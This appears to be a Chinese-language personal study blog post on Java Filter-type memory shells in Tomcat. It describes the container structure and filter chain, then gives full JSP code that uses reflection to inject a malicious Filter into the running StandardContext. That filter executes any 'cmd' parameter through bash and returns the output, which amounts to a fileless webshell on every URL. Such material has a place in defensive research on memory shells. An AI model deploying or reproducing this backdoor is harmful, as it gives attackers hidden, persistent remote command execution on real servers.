Java Filter型内存马学习

Java Filter型内存马学习

摘要:个人笔记,记录得很简略,仅供参考。

0x01 前置知识

Tomcat大致结构

了解tomcat结构有助于理解之后的Filter的执行原理。

Tomcat容器结构(图来自网络)

如上图,一个TomcatServer下有多个Host(虚拟主机),每个Host下又有多个Context(Web应用),每个Context下有还有多个Wrapper(封装器)用于封装一个Servlet。

对应关系

对应于Tomcat的目录,Webapps就是对应的Host组件,Webapps下的目录就是Context。

Filter与其运行流程

定义:用于对Web请求做预处理的过滤器。

部署方式:Servlet3.0+支持基于注解部署,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import javax.servlet.Filter;

@WebFilter(filterName = "TestFilter", urlPatterns = {"/demo"})
public class FilterDemo implements Filter {

@Override
public void init(FilterConfig filterConfig){
System.out.println("Filter Initialize success!");
}
@Override
public void doFilter(ServletRequest servletRequest,
ServletResponse servletResponse,
FilterChain filterChain) throws ServletException, IOException {
System.out.println("Filter runing");
filterChain.doFilter(servletRequest,servletResponse);

}

public void destroy() {}

}

自定义的Filter类必须实现Filter接口并重写init和doFilter方法。

运行流程:

以下调试过程基于Tomcat9.0.56

1
2
3
4
5
6
7
8
9
10
StandardWrapper#invoke为Filter层入口点
98行ApplicationFilterFactory#createFilterChain用于拿到对应path触发的FilterChain
42行wrapper.getParent()拿到本Context的所有信息
43行context.findFilterMaps()拿到本Context的FilterMaps
59-67for代码块根据FilterMap中挑出所有符合请求path的FilterConfig的名字加入到FilterChain中
62行context.findFilterConfig从本Context拿到对应的FilterConfig
153行filterChain.doFilter()为执行doFilter的入口点
69this.internalDoFilter()
79行filterConfig.getFilter()从FilterConfig中获得具体的Filter
89行filter.doFilter()执行最后的Filter

Context(StandardContext实例)中包含着FilterMaps(FilterMap实例数组)、FilterDefs(FilterDef的HashMap)和FilterConfigs(FilterConfig的HashMap)
FilterMap中包含着filterName和对应的urlPattern
FilterConfig中包含着Filter实例,FilterDef实例和所属的Context
FilterDef中包含着Filter所属的类、FilterName

0x02 构造Payload

根据上一小节的分析,只需要在运行时的Context中加入恶意的Filter,要做到这点需要解决两个问题

  • 如何获取当前应用功能的Context
  • 如何往Context中加入恶意的Filter

第二个问题容易解决,翻看StandardContext类的源码其中有addFilterDef()和addFilterMap()方法同时可以直接反射filterConfigs添加新的filterConfig

第一个问题根据网上的文章有如下几个解决方法(大多数文章是直接给出了方法,但我更想知道解决思路是什么):

一、能够直接获得requset(javax.servlet.http.HttpServletRequest)时

1
2
3
4
5
6
7
8
9
10
11
12
// 1、有Request,先获取ServletContext
ServletContext servletContext = request.getSession().getServletContext();

// 2、再获取ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

// 3、最后拿到StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

而后直接构造Filter并将其加入到Context中,全部代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%
final String evilName = "hh";

ServletContext servletContext = request.getSession().getServletContext();

Field applicationContext = servletContext.getClass().getDeclaredField("context");
applicationContext.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) applicationContext.get(servletContext);

Field standardContext = appctx.getClass().getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext stdctx = (StandardContext) standardContext.get(appctx);

Field filterDefs = stdctx.getClass().getDeclaredField("filterDefs");
filterDefs.setAccessible(true);
HashMap fdfs = (HashMap)filterDefs.get(stdctx);


if(fdfs.get(evilName)==null) {

Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// 为什么可以父接口转子接口
// 原本就是ServletRequest更儿子的类所以可以转吧
HttpServletRequest req = (HttpServletRequest) servletRequest;
String payload = req.getParameter("cmd");
String p = servletRequest.getParameter("cmd");

if (payload != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash", "-c", payload).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes, 0, len));
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
};

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(evilName);
filterDef.setFilterClass(filter.getClass().getName());

Method addFilterDef = stdctx.getClass().getDeclaredMethod("addFilterDef", FilterDef.class);
addFilterDef.invoke(stdctx,filterDef);

FilterMap filterMap = new FilterMap();
filterMap.setFilterName(evilName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
Method addFilterMapBefore = stdctx.getClass().getDeclaredMethod("addFilterMapBefore", FilterMap.class);
addFilterMapBefore.invoke(stdctx,filterMap);



Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(stdctx, filterDef);

Field filterConfigs = stdctx.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap fcs = (HashMap) filterConfigs.get(stdctx);
fcs.put(evilName, applicationFilterConfig);

out.print("Over!");


}

%>

评论